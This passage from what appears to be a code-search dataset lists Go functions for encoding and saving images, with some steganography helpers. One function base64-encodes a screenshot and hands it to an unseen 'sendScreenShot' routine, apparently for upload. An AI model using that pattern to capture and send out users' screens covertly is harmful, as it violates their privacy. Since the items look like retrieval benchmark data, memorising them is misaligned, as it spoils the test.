output.Close()\n\tif err = png.Encode(output, img); err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"Saved\", filename)\n\treturn nil\n}", "func SaveNewImgToEncode(srcImagePath string, width int, height int) image.Image {\n\tsrcImgFile := OpenImgPath(srcImagePath)\n\tdefer srcImgFile.Close()\n\tsrcImg, _, DecodeErr := image.Decode(srcImgFile)\n\tErrorHandling(DecodeErr)\n\n\tsrcRct := srcImg.Bounds()\n\tdstImg := image.NewRGBA(image.Rect(0, 0, width, height))\n\tdstRct := dstImg.Bounds()\n\tdraw.CatmullRom.Scale(dstImg, dstRct, srcImg, srcRct, draw.Over, nil)\n\n\treturn dstImg\n}", "func (ap *APNGModel) Encode() error {\n\tif len(ap.images) != len(ap.delays){\n\t\treturn errors.New(\"Number of delays doesn't match number of images\")\n\t}\n\n\tseqNb := 0\n\tfor index, img := range ap.images{\n\t\tpngEnc := &png.Encoder{}\n\t\t\n\t\tpngEnc.CompressionLevel = png.BestCompression\n\n\t\tcurImgBuffer := new(bytes.Buffer)\n\n\t\tif err := pngEnc.Encode(curImgBuffer, img); err != nil{\n\t\t\tfmt.Println(err)\n\t\t\treturn err\n\t\t}\n\t\tif curPngChunk, err := ap.getPNGChunk(curImgBuffer); err != nil{\n\t\t\treturn err\n\t\t} else{\n\t\t\tif(index == 0){\n\t\t\t\tap.writePNGHeader()\n\t\t\t\tap.appendIHDR(curPngChunk)\n\t\t\t\tap.appendacTL(img)\n\t\t\t\tap.appendfcTL(&seqNb, img, ap.delays[index])\n\t\t\t\tap.appendIDAT(curPngChunk)\n\t\t\t}else{\n\t\t\t\tap.appendfcTL(&seqNb, img, ap.delays[index])\n\t\t\t\tap.appendfDAT(&seqNb, curPngChunk)\n\t\t\t}\t\n\t\t}\n\t}\n\tap.writeIENDHeader()\n\n\treturn nil\n}", "func Save(filename string, img image.Image, format Format) error {\n\tfilename = strings.TrimSuffix(filename, filepath.Ext(filename))\n\n\tswitch format {\n\tcase PNG:\n\t\tfilename += \".png\"\n\tcase JPEG:\n\t\tfilename += \".jpg\"\n\t}\n\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\treturn Encode(f, img, format)\n}", "func (j *julia) ToPng(path string) error {\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := png.Encode(f, j.img); err != nil {\n\t\tf.Close()\n\t\treturn err\n\t}\n\n\tif err := f.Close(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (s *StegImage) WriteNewImageToFile(imgPath string) (err error) {\n\tmyfile, _ := os.Create(imgPath)\n\tdefer myfile.Close()\n\n\tenc := png.Encoder{CompressionLevel: png.BestCompression}\n\terr = enc.Encode(myfile, s.newImg)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\n\treturn err\n}", "func SaveAsPNG(name string, img image.Image, compresLvl png.CompressionLevel) {\n\tl := new(Legofy)\n\tif name == \"\" {\n\t\tname = l.getNewFileName()\n\t}\n\tf, err := os.Create(name + \".png\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer f.Close()\n\tvar Enc png.Encoder\n\tEnc.CompressionLevel = compresLvl\n\terr = Enc.Encode(f, img)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n}", "func (c *Client) SaveImage(ctx context.Context, image, format string, writer io.WriteCloser) error {\n\t// Parse the image name and tag.\n\tnamed, err := reference.ParseNormalizedNamed(image)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"parsing image name %q failed: %v\", image, err)\n\t}\n\t// Add the latest lag if they did not provide one.\n\tnamed = reference.TagNameOnly(named)\n\timage = named.String()\n\n\t// Create the worker opts.\n\topt, err := c.createWorkerOpt(false)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating worker opt failed: %v\", err)\n\t}\n\n\tif opt.ImageStore == nil {\n\t\treturn errors.New(\"image store is nil\")\n\t}\n\n\texportOpts := []archive.ExportOpt{\n\t\tarchive.WithImage(opt.ImageStore, image),\n\t}\n\n\tswitch format {\n\tcase \"docker\":\n\n\tcase \"oci\":\n\t\texportOpts = append(exportOpts, archive.WithSkipDockerManifest())\n\n\tdefault:\n\t\treturn fmt.Errorf(\"%q is not a valid format\", format)\n\t}\n\n\tif err := archive.Export(ctx, opt.ContentStore, writer, exportOpts...); err != nil {\n\t\treturn fmt.Errorf(\"exporting image %s failed: %v\", image, err)\n\t}\n\n\treturn writer.Close()\n}", "func exportJPG(img image.Image, path string) {\n\tout, err := os.Create(path)\n\tdefer out.Close()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tjpeg.Encode(out, img, &jpeg.Options{Quality: 90})\n}", "func (a *Atlas) SavePNG(filename string) error {\n\n\t// Save that RGBA image to disk.\n\toutFile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer outFile.Close()\n\n\tb := bufio.NewWriter(outFile)\n\terr = png.Encode(b, a.Image)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = b.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func WritePNG(w io.Writer, p Parameters) {\n\tloggingEnabled = p.Logging\n\timg := generateMandelbrot(p.Iterations, p)\n\tpng.Encode(w, img)\n}", "func save(img *image.RGBA, filePath string) {\n\t// filePath = \"screenshots/\" + filePath\n\t// file, err := os.Create(filePath)\n\t// if err != nil {\n\t// \tpanic(err)\n\t// }\n\t// defer file.Close()\n\t// png.Encode(file, img)\n\n\tbuf := new(bytes.Buffer)\n\tpng.Encode(buf, img)\n\tbase64Byte := buf.Bytes()\n\timgBase64Str := base64.StdEncoding.EncodeToString(base64Byte)\n\tsendScreenShot(imgBase64Str)\n\n}", "func (e *encoder) encode(w compresserWriter) error {\n\td := e.m.Bounds().Size()\n\n\tvar err error\n\tfor y := 0; y < d.Y; y++ {\n\t\tfor x := 0; x < d.X; x++ {\n\t\t\tpixel := e.bytesAt(x, y)\n\t\t\t_, err = w.Write(pixel)\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn w.Flush()\n}", "func Encode(im image.Image, ext string) (io.Reader, error) {\n\treader, writer := io.Pipe()\n\n\tformat, err := imaging.FormatFromExtension(ext)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo func() {\n\t\terr := imaging.Encode(writer, im, format)\n\t\tdefer writer.Close()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\treturn reader, nil\n}", "func (m *Image) WriteTo(w io.Writer) (int64, error) {\n\tn, err := w.Write(m.encodedPNG())\n\treturn int64(n), err\n}", "func EncodeRGBA(w io.Writer, img image.Image, c Config) (err error) {\n\twebpConfig, err := initConfig(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpic := C.malloc_WebPPicture()\n\tif pic == nil {\n\t\treturn errors.New(\"Could not allocate webp picture\")\n\t}\n\tdefer C.free_WebPPicture(pic)\n\n\tmakeDestinationManager(w, pic)\n\tdefer releaseDestinationManager(pic)\n\n\tif C.WebPPictureInit(pic) == 0 {\n\t\treturn errors.New(\"Could not initialize webp picture\")\n\t}\n\tdefer C.WebPPictureFree(pic)\n\n\tpic.use_argb = 1\n\n\tpic.width = C.int(img.Bounds().Dx())\n\tpic.height = C.int(img.Bounds().Dy())\n\n\tpic.writer = C.WebPWriterFunction(C.writeWebP)\n\n\tswitch p := img.(type) {\n\tcase *rgb.Image:\n\t\tC.WebPPictureImportRGB(pic, (*C.uint8_t)(&p.Pix[0]), C.int(p.Stride))\n\tcase *image.NRGBA:\n\t\tC.WebPPictureImportRGBA(pic, (*C.uint8_t)(&p.Pix[0]), C.int(p.Stride))\n\tdefault:\n\t\treturn errors.New(\"unsupported image type\")\n\t}\n\n\tif C.WebPEncode(webpConfig, pic) == 0 {\n\t\treturn fmt.Errorf(\"Encoding error: %d\", pic.error_code)\n\t}\n\n\treturn\n}", "func WriteImageToHTTP(w http.ResponseWriter, img image.Image) error {\n\tbuffer := new(bytes.Buffer)\n\tif err := png.Encode(buffer, img); err != nil {\n\t\treturn err\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"image/png\")\n\tw.Header().Set(\"Content-Length\", strconv.Itoa(len(buffer.Bytes())))\n\tif _, err := w.Write(buffer.Bytes()); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p PNGImage) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"keyFrameInterval\", p.KeyFrameInterval)\n\tpopulate(objectMap, \"label\", p.Label)\n\tpopulate(objectMap, \"layers\", p.Layers)\n\tobjectMap[\"@odata.type\"] = \"#Microsoft.Media.PngImage\"\n\tpopulate(objectMap, \"range\", p.Range)\n\tpopulate(objectMap, \"start\", p.Start)\n\tpopulate(objectMap, \"step\", p.Step)\n\tpopulate(objectMap, \"stretchMode\", p.StretchMode)\n\tpopulate(objectMap, \"syncMode\", p.SyncMode)\n\treturn json.Marshal(objectMap)\n}", "func (g GIF) Write(textImage *image.RGBA, w io.Writer) error {\n\t// TODO: Break this out on each CPU\n\tfor _, img := range g.GIF.Image {\n\t\tdraw.DrawMask(img, textImage.Bounds(), textImage, image.ZP, textImage, image.ZP, draw.Over)\n\t}\n\n\treturn gif.EncodeAll(w, g.GIF)\n}", "func encodePNG(path string, checkNeighbors bool) (string, error) {\n\treturn \"\", fmt.Errorf(\"PNG encoding not supported.\")\n\timg, err := gg.LoadPNG(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbounds := img.Bounds()\n\twidth := bounds.Max.X\n\theight := bounds.Max.Y\n\tcoords := make(Coords, 0)\n\tfor x := 0; x < width; x += 1 {\n\t\tfor y := 0; y < height; y += 1 {\n\t\t\tif pixelIsBlack(img, x, y) {\n\t\t\t\t// Check if there exists a pixel a distance of radius \n\t\t\t\t// in all four cardinal directions (must be a source point)\n\t\t\t\tif checkNeighbors {\n\t\t\t\t\tn := pixelIsBlack(img, x, int(math.Max(float64(y) - 4, 0)))\n\t\t\t\t\ts := pixelIsBlack(img, x, int(math.Min(float64(y) + 4, float64(height))))\n\t\t\t\t\te := pixelIsBlack(img, int(math.Min(float64(x) + 4, float64(width))), y)\n\t\t\t\t\tw := pixelIsBlack(img, int(math.Max(float64(x) - 4, 0)), y)\n\t\t\t\t\tif !(n && e && s && w) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcx := math.Round(scale(x, width, HRM_MAX))\n\t\t\t\tcy := math.Round(scale(y, height, HRM_MAX))\n\t\t\t\tcoords = append(coords, [2]float64{cx, cy})\n\t\t\t}\n\t\t}\n\t}\n\treturn encodeComment(coords)\n}", "func (r *Renderer) Save(fileName string) {\n\tfile, err := os.Create(fileName)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer file.Close()\n\tpng.Encode(file, flipper.FlipV(r.img))\n}", "func (tg *TurtleGraphics) SavePNG(filePath string) error {\n\tf, err := os.Create(filePath)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\tb := bufio.NewWriter(f)\n\n\terr = png.Encode(b, tg.Image)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = b.Flush()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func EncodeAll(w io.Writer, g *GIF) error", "func encode(in string, out string, width int, height int) {\n\n\tbinary, err := ioutil.ReadFile(in)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tencoder := encoder.NewEncoder(binary, width, height)\n\tencoder.Encode()\n\n\tif err = encoder.Out(out); err != nil {\n\t\tpanic(err)\n\t}\n}", "func Convert(w io.Writer, img image.Image, filename string) error {\n\n\tf, err := imaging.FormatFromFilename(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn imaging.Encode(w, img, f)\n}", "func SaveImageToFile(images []image.Image, filenamePrefix string) error {\n\tfor index, img := range images {\n\t\ttempImageFilename := fmt.Sprintf(\"%s-%06d.png\", filenamePrefix, index)\n\t\toutputFile, err := os.Create(tempImageFilename)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpng.Encode(outputFile, img)\n\t\toutputFile.Close()\n\t}\n\treturn nil\n}", "func WritePNG(content []byte) (string, error) {\n\tfilename := fmt.Sprint(uuid.New().String(), \".png\")\n\tfile, err := os.OpenFile(\n\t\tfmt.Sprint(constants.TempDirectory, filename),\n\t\tos.O_WRONLY|os.O_TRUNC|os.O_CREATE,\n\t\tos.ModePerm,\n\t)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer file.Close()\n\n\t_, err = file.Write(content)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn filename, nil\n}", "func (s *Scraper) encodeJPEG(img image.Image) *bytes.Buffer {\n\to := &jpeg.Options{\n\t\tQuality: int(s.config.ImageQuality),\n\t}\n\n\toutBuf := &bytes.Buffer{}\n\tif err := jpeg.Encode(outBuf, img, o); err != nil {\n\t\treturn nil\n\t}\n\treturn outBuf\n}", "func CreatePng(filename string, f ComplexFunc, n int) (err error) {\n\t//create the file that will hold the image\n\tfile, err := os.Create(filename)\n\t//check for errors.\n\tif err != nil {\n\t\treturn\n\t}\n\t//when evertyhing else in this method is finished - close file\n\tdefer file.Close()\n\t//make the return variable by encoding the file using the function f and size n\n\terr = png.Encode(file, Julia(f, n))\n\n\treturn\n}", "func Encode(data []byte, width, height int) (*image.NRGBA, error) {\n\t// 4 bytes can be stored in every pixel (NRGBA)\n\tmaxLength := width * height * 4\n\tif len(data) > maxLength {\n\t\treturn nil, fmt.Errorf(\"data does not fit the image size\")\n\t}\n\timg := image.NewNRGBA(image.Rectangle{image.Point{0, 0}, image.Point{width, height}})\n\timg.Pix = data\n\tfor i := len(img.Pix); i < maxLength; i++ {\n\t\timg.Pix = append(img.Pix, 0)\n\t}\n\treturn img, nil\n}", "func (m *Mosaic) Save(path string) error {\n\tif m.out == nil {\n\t\treturn fmt.Errorf(\"image not rendered\")\n\t}\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cant save picture: \" + err.Error())\n\t}\n\tdefer f.Close()\n\n\tif strings.HasSuffix(path, \".png\") {\n\t\treturn png.Encode(f, m.out)\n\t}\n\treturn jpeg.Encode(f, m.out, nil)\n}", "func RenderPNG(inputFile, outputFile, imageFile, shape, effect string, scale float64) {\n\tcolor.Yellow(\"Reading image file...\")\n\n\timg, err := util.DecodeImage(imageFile)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcolor.Yellow(\"Reading input file...\")\n\tpoints, err := decodePoints(inputFile)\n\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcolor.Yellow(\"Generating PNG...\")\n\tfilename := outputFile\n\n\tif !strings.HasSuffix(filename, \".png\") {\n\t\tfilename += \".png\"\n\t}\n\n\tvar writePNG func(string, normgeom.NormPointGroup, image.Data, float64) error\n\tvar writeEffectPNG func(string, normgeom.NormPointGroup, image.Data, float64, bool) error\n\n\tswitch shape {\n\tcase \"triangles\":\n\t\twritePNG = triangles.WritePNG\n\t\twriteEffectPNG = triangles.WriteEffectPNG\n\t\tbreak\n\tcase \"polygons\":\n\t\twritePNG = polygons.WritePNG\n\t\twriteEffectPNG = polygons.WriteEffectPNG\n\t\tbreak\n\tdefault:\n\t\tcolor.Red(\"invalid shape type\")\n\t\treturn\n\t}\n\n\tswitch e := strings.ToLower(effect); e {\n\tcase \"none\":\n\t\terr = writePNG(filename, points, img, scale)\n\tcase \"gradient\":\n\t\terr = writeEffectPNG(filename, points, img, scale, true)\n\tcase \"split\":\n\t\terr = writeEffectPNG(filename, points, img, scale, false)\n\tdefault:\n\t\tcolor.Red(\"unknown effect\")\n\t\treturn\n\t}\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\tcolor.Red(\"error generating PNG\")\n\t\treturn\n\t}\n\n\tcolor.Green(\"Successfully generated PNG at %s!\", filename)\n}", "func (img *Image) WriteToFile(outputPath string) error {\n\tcimg := image.NewRGBA(img._Rect)\n\tdraw.Draw(cimg, img._Rect, img._Image, image.Point{}, draw.Over)\n\n\tfor y := 0; y < img.Height; y++ {\n\t\tfor x := 0; x < img.Width; x++ {\n\t\t\trowIndex, colIndex := y, x\n\t\t\tpixel := img.Pixels[rowIndex][colIndex]\n\t\t\tcimg.Set(x, y, color.RGBA{\n\t\t\t\tuint8(pixel.R),\n\t\t\t\tuint8(pixel.G),\n\t\t\t\tuint8(pixel.B),\n\t\t\t\tuint8(pixel.A),\n\t\t\t})\n\t\t}\n\t}\n\n\ts := strings.Split(outputPath, \".\")\n\timgType := s[len(s)-1]\n\n\tswitch imgType {\n\tcase \"jpeg\", \"jpg\", \"png\":\n\t\tfd, err := os.Create(outputPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch imgType {\n\t\tcase \"jpeg\", \"jpg\":\n\t\t\tjpeg.Encode(fd, cimg, nil)\n\t\tcase \"png\":\n\t\t\tpng.Encode(fd, cimg)\n\t\t}\n\tdefault:\n\t\treturn errors.New(\"unknown image type\")\n\t}\n\n\treturn nil\n}", "func (f *Framebuffer) PNG() (string, error) {\n\tif glog.V(3) {\n\t\tglog.Info(venuelib.FnName())\n\t}\n\tvar buf bytes.Buffer\n\terr := png.Encode(&buf, f.fb)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(buf.Bytes()), nil\n}", "func SavePNGRepresentations(r io.Reader, options []Options) error {\n\n\tif r == nil {\n\t\treturn errors.New(\"Nil reader received in SaveJpegRepresentation\")\n\t}\n\n\t// Read the image data, if we have a jpeg, convert to png?\n\toriginal, _, err := image.Decode(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// For each option, save a file\n\tfor _, o := range options {\n\n\t\tfmt.Printf(\"Saving image file - %v\\n\", o)\n\n\t\t// Resize this image given the params - this is always in proportion, NEVER stretched\n\t\t// If Square is true we crop to a square\n\t\tresized, err := ResizeImage(original, o.MaxWidth, o.MaxHeight, false)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Write out to the desired file path\n\t\tw, err := os.Create(o.Path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer w.Close()\n\t\terr = png.Encode(w, resized)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\n\treturn nil\n\n}", "func EncodeAll(w io.Writer, m gif.GIF) error {\n\n\tif len(m.Image) < 1 {\n\t\treturn errors.New(\"creating a gif with zero images isn't implemented\")\n\t}\n\n\t// Determine a logical size that contains all images.\n\tvar sizeX, sizeY int\n\tfor _, img := range m.Image {\n\t\tif img.Rect.Max.X > sizeX {\n\t\t\tsizeX = img.Rect.Max.X\n\t\t}\n\t\tif img.Rect.Max.Y > sizeY {\n\t\t\tsizeY = img.Rect.Max.Y\n\t\t}\n\t}\n\n\tif sizeX >= (1<<16) || sizeY >= (1<<16) {\n\t\treturn fmt.Errorf(\"logical size too large: (%v,%v)\", sizeX, sizeY)\n\t}\n\n\t// Arbitrarily make the first image's palette global.\n\tglobalPalette, colorBits, err := encodePalette(w, m.Image[0].Palette)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// header\n\tif err := writeData(w,\n\t\t[]byte(\"GIF89a\"),\n\t\tuint16(sizeX), uint16(sizeY),\n\t\tbyte(0xF0|colorBits-1),\n\t\tbyte(0), byte(0),\n\t\tglobalPalette,\n\t); err != nil {\n\t\treturn err\n\t}\n\n\t// only write loop count for animations\n\tif len(m.Image) > 1 {\n\t\tif err := writeData(w,\n\t\t\t[]byte{0x21, 0xff, 0x0b},\n\t\t\t[]byte(\"NETSCAPE2.0\"),\n\t\t\t[]byte{3, 1},\n\t\t\tuint16(m.LoopCount),\n\t\t\tbyte(0),\n\t\t); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tfor i, img := range m.Image {\n\t\t// write delay block\n\t\tif i < len(m.Delay) && m.Delay[i] != 0 {\n\t\t\terr = writeData(w,\n\t\t\t\t[]byte{0x21, 0xf9, 4, 0},\n\t\t\t\tuint16(m.Delay[i]),\n\t\t\t\t[]byte{0, 0},\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tlocalPalette, _, err := encodePalette(w, img.Palette)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !bytes.Equal(globalPalette, localPalette) {\n\t\t\treturn errors.New(\"different palettes not implemented\")\n\t\t}\n\n\t\tif err := encodeImageBlock(w, img); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// add trailer\n\t_, err = w.Write([]byte{byte(0x3b)})\n\treturn err\n}", "func WriteImageToPath(img image.Image, path string) {\n\tf, err := os.Create(path + \".jpg\")\n\tif err != nil {\n\t\tlog.Fatalf(\"%s. Current dir: %s\", err, os.Args[0])\n\t}\n\tdefer f.Close()\n\terr = jpeg.Encode(f, img, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"Write err: %s. Current dir: %s\", err, os.Args[0])\n\t}\n}", "func WriteCoinImg(slug string, i interface{}) bool {\n\tic := mod.Cache{Data: i}\n\treturn DB.Write(cfg.Web+\"/data/\"+slug, \"logo\", ic) == nil\n}", "func (im *imageContrller) SerializeImage(img *image.RGBA) []color.RGBA {\n\tdata := make([]color.RGBA, 0)\n\n\tif img != nil {\n\t\tfor i := 0; i < img.Bounds().Size().X; i++ {\n\t\t\tfor j := 0; j < img.Bounds().Size().Y; j++ {\n\n\t\t\t\t// extract point data\n\t\t\t\trgba := img.At(i, j)\n\n\t\t\t\t// each channel data\n\t\t\t\tr, g, b, a := rgba.RGBA()\n\n\t\t\t\t// create raw data\n\t\t\t\trawdata := color.RGBA{\n\t\t\t\t\tR: uint8(r),\n\t\t\t\t\tG: uint8(g),\n\t\t\t\t\tB: uint8(b),\n\t\t\t\t\tA: uint8(a),\n\t\t\t\t}\n\n\t\t\t\t// stack data\n\t\t\t\tdata = append(data, rawdata)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn data\n}", "func (c *Camera) Save(w io.Writer) error {\n\tif c.output == nil {\n\t\treturn fmt.Errorf(\"image must be rendered before saving it\")\n\t}\n\treturn png.Encode(w, c.output)\n}", "func ToPng(imageBytes []byte) ([]byte, error) {\n\tcontentType := http.DetectContentType(imageBytes)\n\n\tswitch contentType {\n\tcase \"image/png\":\n\tcase \"image/jpeg\":\n\t\timg, err := jpeg.Decode(bytes.NewReader(imageBytes))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tbuf := new(bytes.Buffer)\n\t\tif err := png.Encode(buf, img); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn buf.Bytes(), nil\n\t}\n\treturn nil, fmt.Errorf(\"unable to convert %#v to png\", contentType)\n}", "func PNG(filename string, l Level, text string) error {\n\treturn NewPNGWriter(l).QRFile(filename, text)\n}", "func main() {\n\toutFilename := flag.String(\"out\", \"\", \"output file name\")\n\tquality := flag.Int(\"q\", 80, \"output JPEG quality\")\n\tflag.Parse()\n\tif len(flag.Args()) != 1 {\n\t\tlog.Fatalf(\"expected exactly 1 input file name\")\n\t}\n\n\tfilename := flag.Args()[0] // Image to convert\n\n\tswitch {\n\tcase *quality < 0:\n\t\t*quality = 0\n\tcase *quality > 100:\n\t\t*quality = 100\n\t}\n\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\tlog.Panicf(\"open input image: %v\", err)\n\t}\n\tdefer f.Close()\n\n\timg, err := png.Decode(f)\n\tif err != nil {\n\t\tlog.Panicf(\"decode input image: %v\", err)\n\t}\n\n\tif *outFilename == \"\" {\n\t\t*outFilename = strings.ReplaceAll(filename, \"png\", \"jpg\")\n\t}\n\n\toutFile, err := os.Create(*outFilename)\n\tif err != nil {\n\t\tlog.Panicf(\"create file: %v\", err)\n\t}\n\tdefer outFile.Close()\n\n\topts := &jpeg.Options{Quality: *quality}\n\tif err := jpeg.Encode(outFile, img, opts); err != nil {\n\t\tlog.Panicf(\"encode: %v\", err)\n\t}\n}", "func (bc *BC) qrEncoder(file io.Writer, txt string) error {\n\n\t// Encode qr code\n\tqr, err := qr.Encode(txt, bc.qr.level, bc.qr.mode)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Scale to size w x h\n\tqr, err = barcode.Scale(qr, bc.w, bc.h)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// encode as png to io.Writer\n\treturn png.Encode(file, qr)\n}", "func ConvertImage(img image.Image, format string) {\n\tf, err := os.Create(fmt.Sprintf(\"rome.%s\", format))\n\tif err != nil {\n\t\tlog.Panicln(\"Could not create file\")\n\t}\n\tdefer f.Close()\n\tswitch format {\n\tcase \"png\":\n\t\tpng.Encode(f, img)\n\tcase \"jpg\":\n\t\tjpeg.Encode(f, img, &jpeg.Options{Quality: *quality})\n\tcase \"webp\":\n\t\twebp.Encode(f, img, &webp.Options{Lossless: false, Quality: float32(*quality)})\n\tdefault:\n\t\tlog.Panicln(\"Format not supported\")\n\t}\n}", "func EncodeImgToBase64(path string) (string, error) {\n\timgFile, err := os.Open(path)\n\n\tif err != nil {\n\t\tlog.Fatalf(\"An error occured when opening the file: %v\", err)\n\t\treturn \"\", err\n\t}\n\n\tdefer imgFile.Close()\n\n\t// create a new buffer base on file size\n\tfInfo, err := imgFile.Stat()\n\tif err != nil {\n\t\tlog.Fatalf(\"An error occured when fetching file info: %v\", err)\n\t\treturn \"\", err\n\t}\n\n\tvar size int64 = fInfo.Size()\n\tbuf := make([]byte, size)\n\n\t// read file content into buffer\n\tfReader := bufio.NewReader(imgFile)\n\tfReader.Read(buf)\n\n\t// convert the buffer bytes to base64 string - use buf.Bytes() for new image\n\timgBase64Str := base64.StdEncoding.EncodeToString(buf)\n\n\treturn imgBase64Str, nil\n}", "func (s *Scraper) recodePNG(url fmt.Stringer, b []byte) *bytes.Buffer {\n\tinBuf := bytes.NewBuffer(b)\n\timg, err := png.Decode(inBuf)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\toutBuf := s.encodeJPEG(img)\n\tif outBuf == nil || outBuf.Len() > len(b) { // only use the new file if it is smaller\n\t\treturn nil\n\t}\n\n\ts.logger.Debug(\"Recoded PNG\",\n\t\tlog.Stringer(\"URL\", url),\n\t\tlog.Int(\"size_original\", len(b)),\n\t\tlog.Int(\"size_recoded\", outBuf.Len()))\n\treturn outBuf\n}", "func SaveImage(filename string, img image.Image, qual int) {\n\terr := imaging.Save(img, filename, imaging.JPEGQuality(qual))\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to save image: %v\", err)\n\t}\n}", "func Hide(w io.Writer, m image.Image, data []byte, o *jpeg.Options) error {\n\tb := m.Bounds()\n\tif b.Dx() >= 1<<16 || b.Dy() >= 1<<16 {\n\t\treturn errors.New(\"jpeg: image is too large to encode\")\n\t}\n\tvar e encoder\n\te.data = data\n\tif ww, ok := w.(writer); ok {\n\t\te.w = ww\n\t} else {\n\t\te.w = bufio.NewWriter(w)\n\t}\n\t// Clip quality to [1, 100].\n\tquality := jpeg.DefaultQuality\n\tif o != nil {\n\t\tquality = o.Quality\n\t\tif quality < 1 {\n\t\t\tquality = 1\n\t\t} else if quality > 100 {\n\t\t\tquality = 100\n\t\t}\n\t}\n\t// Convert from a quality rating to a scaling factor.\n\tvar scale int\n\tif quality < 50 {\n\t\tscale = 5000 / quality\n\t} else {\n\t\tscale = 200 - quality*2\n\t}\n\t// Initialize the quantization tables.\n\tfor i := range e.quant {\n\t\tfor j := range e.quant[i] {\n\t\t\tx := int(unscaledQuant[i][j])\n\t\t\tx = (x*scale + 50) / 100\n\t\t\tif x < 1 {\n\t\t\t\tx = 1\n\t\t\t} else if x > 255 {\n\t\t\t\tx = 255\n\t\t\t}\n\t\t\te.quant[i][j] = uint8(x)\n\t\t}\n\t}\n\t// Compute number of components based on input image type.\n\tnComponent := 3\n\tswitch m.(type) {\n\tcase *image.Gray:\n\t\tnComponent = 1\n\t}\n\t// Write the Start Of Image marker.\n\te.buf[0] = 0xff\n\te.buf[1] = 0xd8\n\te.write(e.buf[:2])\n\t// Write the quantization tables.\n\te.writeDQT()\n\t// Write the image dimensions.\n\te.writeSOF0(b.Size(), nComponent)\n\t// Write the Huffman tables.\n\te.writeDHT(nComponent)\n\t// Write the image data.\n\te.writeSOS(m)\n\tif len(e.data) > 0 {\n\t\treturn ErrTooSmall\n\t}\n\t// Write the End Of Image marker.\n\te.buf[0] = 0xff\n\te.buf[1] = 0xd9\n\te.write(e.buf[:2])\n\te.flush()\n\treturn e.err\n}", "func Formatjpg(img image.Image, filepath string) (err error) {\n\tout, err := os.Create(filepath)\n\tdefer out.Close()\n\treturn jpeg.Encode(out, img, &jpeg.Options{Quality: 100})\n\n}", "func (a *ImageApiService) ImageSaveAsPNG(ctx _context.Context, imageSaveAsPngParameters ImageSaveAsPngParameters) (ImageSaveAsPngResponse, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue ImageSaveAsPngResponse\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/api/image/ImageSaveAsPNG\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := 